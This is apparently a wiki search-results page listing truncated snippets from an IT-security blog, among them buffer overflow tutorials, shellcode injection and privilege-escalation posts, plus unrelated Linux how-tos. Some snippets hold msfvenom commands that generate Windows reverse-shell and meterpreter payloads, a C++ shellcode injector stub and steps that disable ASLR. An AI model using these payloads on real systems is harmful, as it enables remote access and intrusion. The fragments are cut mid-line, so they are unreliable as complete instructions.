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Buffer Overflow im 64-Bit Stack - Teil 3 @it-security:blog 39 Hits, Last modified: 8 days ago der Funktion einen Systembefehl absetzen können
<code gdb>
[-------------------------------------code -------------------------------------]
0x4011de <vuln... >: mov eax,0x0
0x4011f7 <vuln+134>: leave
</code >
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===== Abhängigkeiten =====
* socat mod ... ps://docs.pwntools.com/en/stable/install.html))
<code bash>
python3 -m pip install --upgrade pip
python Shellcode Injection Teil 1 @it-security:blog 30 Hits, Last modified: 8 days ago sführt.((https://www.ired.team/offensive-security/code -injection-process-injection/process-injection)) Z...
| > shell.c | Speichere in die Datei shell.c |
<code bash>
msfvenom -p windows/shell_reverse_tcp LHOST... ta_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c
</code >
\\
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===== C++ Injector =====
Wir erstellen un... = 540;
int main(int argc, char** argv) {
char* code ;
printf("#nosoc - expecttheunexpected");
co Shellcode Injection Part 1 @en:it-security:blog 31 Hits, Last modified: 3 weeks ago sführt.((https://www.ired.team/offensive-security/code -injection-process-injection/process-injection)) I... rmat |
| > shell.c | Save to the file shell.c |
<code bash>
msfvenom -p windows/shell_reverse_tcp LHOST... ta_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c
</code >
\\
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===== C++ Injector =====
We create a new ... = 540;
int main(int argc, char** argv) {
char* code ;
printf("#nosoc - expecttheunexpected");
co Buffer overflow in the 64-bit stack - Part 3 @en:it-security:blog 40 Hits, Last modified: 5 weeks ago ssue a system command when calling the function
<code gdb>
[-------------------------------------code -------------------------------------]
0x4011de <vuln... >: mov eax,0x0
0x4011f7 <vuln+134>: leave
</code >
\\
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===== Dependencies =====
* socat mod [[... ps://docs.pwntools.com/en/stable/install.html))
<code bash>
python3 -m pip install --upgrade pip
python Buffer overflow in the 64-bit stack - part 1 @en:it-security:blog 36 Hits, Last modified: 5 weeks ago ileges.((https://www.ired.team/offensive-security/code -injection-process-injection/binary-exploitation/6... s://github.com/longld/peda/blob/master/README))
<code bash>
git clone https://github.com/longld/peda.gi... peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
</code >
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==== Deactivate ASLR ====
ASLR must be de... ivated so that memory areas are not randomised.
<code bash>
echo 0 | sudo tee /proc/sys/kernel/randomiz Buffer overflow in the 64-bit stack - Part 2 @en:it-security:blog 23 Hits, Last modified: 5 weeks ago 80568|kompilierte debug binary]] from the blog.
<code bash>
br *vuln+73 # setze Breakpoint
r < i... "/bin/sh")
RIP: 0x400469 (<_init+25>: ret)
</code >
\\
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===== Dependencies =====
What is needed?
... fer_overflow_x64|Part 1]], we also need ropper.
<code bash>
sudo apt install ropper
</code >
\\
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===== Deactivate ASLR =====
ASLR must also be deactivated Privilege escalation: Windows admin thanks to Linux @en:it-security:blog 12 Hits, Last modified: 5 weeks ago ntpw ====
Now we can install ''chntpw'' using:
<code bash>
sudo apt install chntpw
</code >
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==== Find Windows partition ====
We are looking for the Windows partition.
<code bash>
sudo sfdisk -l
</code >
{{it-security:blog:screenshot_2024-03-14_145734.png|}}
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In our examp FatCat Attack PoC @it-security:blog 14 Hits, Last modified: 5 weeks ago um uns volle Rechte über ein System zu sichern.
<code text>
_____ _ ____ _
| ___|_ _| |_ ... | |_
|_| \__,_|\__|\____\__,_|\__|
Attack PoC
</code >
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===== Beschreibung =====
{{page>vorlagen:... oad ====
* Metasploit starten
* cmd öffnen
<code dos>cmd</code >
* Payload generieren
<code dos>msfvenom -a x86 –platform windows -p windows/meterpre Buffer Overflow im 64-Bit Stack - Teil 1 @it-security:blog 36 Hits, Last modified: 5 weeks ago langen.((https://www.ired.team/offensive-security/code -injection-process-injection/binary-exploitation/6... s://github.com/longld/peda/blob/master/README))
<code bash>
git clone https://github.com/longld/peda.gi... peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
</code >
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==== ASLR deaktivieren ====
ASLR muss dea... mit Speicherbereiche nicht randomisiert werden.
<code bash>
echo 0 | sudo tee /proc/sys/kernel/randomiz Buffer Overflow im 64-Bit Stack - Teil 2 @it-security:blog 22 Hits, Last modified: 5 weeks ago 568|kompilierte Binary]] aus dem Blog debuggen.
<code bash>
br *vuln+73 # setze Breakpoint
r < i... "/bin/sh")
RIP: 0x400469 (<_init+25>: ret)
</code >
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===== Abhängigkeiten =====
Was wird benöt... erflow_x64|Teil 1]], benötigen wir noch ropper.
<code bash>
sudo apt install ropper
</code >
\\
\\
===== ASLR deaktivieren =====
Auch hier muss ASLR wieder d Privilegien-Eskalation: Windows-Admin dank Linux @it-security:blog 12 Hits, Last modified: 5 weeks ago zt können wir ''chntpw'' installieren, mittels:
<code bash>
sudo apt install chntpw
</code >
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==== Windows Partition finden ====
Wir suchen die Windows Partition.
<code bash>
sudo sfdisk -l
</code >
{{:it-security:blog:screenshot_2024-03-14_145734.png|}}
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In unserem NumLock in Kali dauerhaft aktivieren @linux 8 Hits, Last modified: 5 weeks ago ockx
* dconf-editor
===== Installation =====
<code bash>
sudo apt install numlockx dconf-editor
</code >
==== Parameter in dconf-editor setzen ====
* dconf-editor starten
<code bash>dconf-editor</code >
* navigiere zum Pfad
<code >/org/gnome/desktop/peripherals/keyboard/</code > OmegaPass / Passwort Generator @software 2 Hits, Last modified: 2 months ago snnB könnten folgende Passworte erzeugt werden:
<code text>
TI682iv€~@55N
SH966hy?!~42T
NG629du@§@43F
</code > n8n Installation mit Docker Compose @linux 38 Hits, Last modified: 3 months ago ==
==== 1.1 alte Versionen deinstallieren ====
<code bash>
sudo apt-get remove docker docker-engine docker.io containerd runc
</code >
==== 1.2 Repo Installation ====
=== 1.2.1 Update apt und HTTPS aktivieren ===
<code bash>
sudo apt-get update
sudo apt-get install... tc/apt/sources.list.d/docker.list > /dev/null
</code >
=== 1.2.2 Docker GPG Key hinzufügen ===
<cod Debian Fileserver mit Samba @linux 18 Hits, Last modified: 3 months ago debian-linux/}}
===== Samba installieren =====
<code bash>
fserve ~:# apt-get install samba
Reading p... 0) ...
Done.
Starting Samba daemons: nmbd smbd.
</code >
===== Anlegen der Gruppen =====
<code bash>
fserve :~# addgroup smball
fserve :~# addgroup smbusers
fserve :~# addgroup smbadmins
</code >
===== Gruppenordner anlegen =====
<code bash>
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